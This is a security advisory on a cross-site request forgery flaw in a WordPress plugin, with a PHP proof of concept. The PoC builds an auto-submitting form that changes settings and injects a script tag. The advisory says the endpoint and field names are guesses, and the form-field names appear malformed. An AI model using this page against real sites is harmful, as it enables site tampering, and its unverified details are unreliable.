Atomic Edge analysis of CVE-2025-14845 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the NS IE Compatibility Fixer WordPress plugin, affecting all versions up to and including 2.1.5. The vulnerability resides in the plugin’s settings update functionality, allowing attackers to modify plugin configuration without proper authorization.
Atomic Edge research infers the root cause is a missing nonce validation check on the plugin’s settings update handler. The CWE-352 classification confirms the absence of an anti-CSRF token. The vulnerability description states the plugin fails to validate the nonce, a WordPress security token that confirms a request originates from a user’s intentional action. This lack of validation is the direct cause, allowing forged requests to be processed.
Exploitation requires an attacker to trick a logged-in administrator into clicking a malicious link or visiting a crafted page. The attack vector is a forged HTTP POST request to the plugin’s settings update endpoint. Based on WordPress plugin conventions, this endpoint is likely `/wp-admin/admin.php?page=ns-ie-compatibility-fixer` or a similar admin menu page. The payload would contain POST parameters that mirror the plugin’s settings form fields, such as `ns_ie_compatibility_fixer_settings[enabled]` or `ns_ie_compatibility_fixer_settings[code]`. No nonce parameter would be present or required.
The fix requires adding a nonce verification check before processing the settings update request. The plugin developer must implement `wp_verify_nonce()` on the incoming request, using the nonce parameter expected from the plugin’s settings form. A capability check, such as `current_user_can(‘manage_options’)`, should also be confirmed as present. These changes would ensure the request is both authorized and intentional.
Successful exploitation allows an unauthenticated attacker to change the plugin’s operational settings. The impact is limited to integrity loss (C:I:L) of the plugin’s configuration. An attacker could disable the plugin’s functionality or inject malicious scripts into the compatibility code the plugin injects into site pages, potentially leading to stored Cross-Site Scripting (XSS) if the settings field is unsanitized on output. The attack does not directly compromise confidentiality or availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14845 - NS IE Compatibility Fixer <= 2.1.5 - Cross-Site Request Forgery to Plugin Settings Update
<?php
// CONFIGURATION
$target_url = 'http://target-site.com/wp-admin/admin.php?page=ns-ie-compatibility-fixer';
// This URL is inferred; the exact admin page slug may vary.
// The attack requires the victim admin to be logged into WordPress.
// Simulated malicious settings payload.
// Assumes the plugin saves settings via a POST parameter named after an options array.
$malicious_settings = array(
'ns_ie_compatibility_fixer_settings' => array(
'enabled' => '0', // Disable the plugin
'custom_code' => '<script>alert("Atomic Edge CSRF PoC")</script>' // Inject malicious code
// Other setting fields may exist.
)
);
// Generate the HTML form that will auto-submit via JavaScript.
echo '<html><body onload="document.exploit.submit()">';
echo '<form name="exploit" action="' . htmlspecialchars($target_url) . '" method="POST">';
// Recursively generate hidden input fields from the settings array.
function generateInputs($data, $prefix = '') {
foreach ($data as $key => $value) {
$name = $prefix . '[' . $key . ']';
if (is_array($value)) {
generateInputs($value, $name);
} else {
echo '<input type="hidden" name="' . htmlspecialchars($name) . '" value="' . htmlspecialchars($value) . '">';
}
}
}
generateInputs($malicious_settings);
// The exploit lacks a 'nonce' or '_wpnonce' parameter, which is the core vulnerability.
echo '</form>';
echo '<p>If a site administrator views this page while logged in, the plugin settings will be updated.</p>';
echo '</body></html>';
?>
